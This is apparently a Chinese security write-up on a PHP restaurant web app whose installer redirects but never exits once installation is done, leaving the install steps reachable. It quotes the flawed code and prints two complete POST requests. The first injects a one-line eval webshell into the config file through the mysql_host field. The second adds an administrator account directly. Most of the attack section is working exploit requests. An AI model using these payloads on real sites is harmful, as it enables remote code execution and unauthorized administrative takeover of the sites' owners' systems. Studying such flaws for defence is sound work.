问题出在/install/index.php文件。在程序安装完后，会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
<?php
if(file_exists("../install.lock"))
{
    header("Location: ../");//没有退出
}
               
//echo 'tst';exit;
require_once("init.php");
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
{
可见在/install/index.php存在时，只是header做了302重定向并没有退出，也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。

1、getshell（很危险）
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
{
$smarty->assign("step",1);
$smarty->display("index.html");
}elseif($_REQUEST['step']==2)
{
    $mysql_host=trim($_POST['mysql_host']);
    $mysql_user=trim($_POST['mysql_user']);
    $mysql_pwd=trim($_POST['mysql_pwd']);
    $mysql_db=trim($_POST['mysql_db']);
    $tblpre=trim($_POST['tblpre']);
    $domain==trim($_POST['domain']);
    $str="<?php \r\n";
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
    $str.='define("SKINS","default");'."\r\n";
    $str.='?>';
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
上面的代码将POST的数据直接写入了../config/config.inc.php文件，那么我们提交如下POST包，即可获得一句话木马
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
Host: 192.168.80.129
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.129/canting/install/index.php?step=1
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
          
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
但是这个方法很危险，将导致网站无法运行。

2、直接添加管理员

elseif($_REQUEST['step']==5)
{
    if($_POST)
    {   require_once("../config/config.inc.php");
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
        mysql_select_db(MYSQL_DB,$link);
        mysql_query("SET NAMES ".MYSQL_CHARSET );
         mysql_query("SET sql_mode=''");
        $adminname=trim($_POST['adminname']);
        $pwd1=trim($_POST['pwd1']);
        $pwd2=trim($_POST['pwd2']);
        if(empty($adminname))
        {
            echo "<script>alert('管理员不能为空');history.go(-1);</script>";
            exit();
        }
        if(($pwd1!=$pwd2) or empty($pwd1))
        {
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
        }
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
    }
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号，语句如下：
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
Host: 192.168.80.129
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.2cto.com /canting/install/index.php?step=1
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
      
adminname=qingshen&pwd1=qingshen&pwd2=qingshen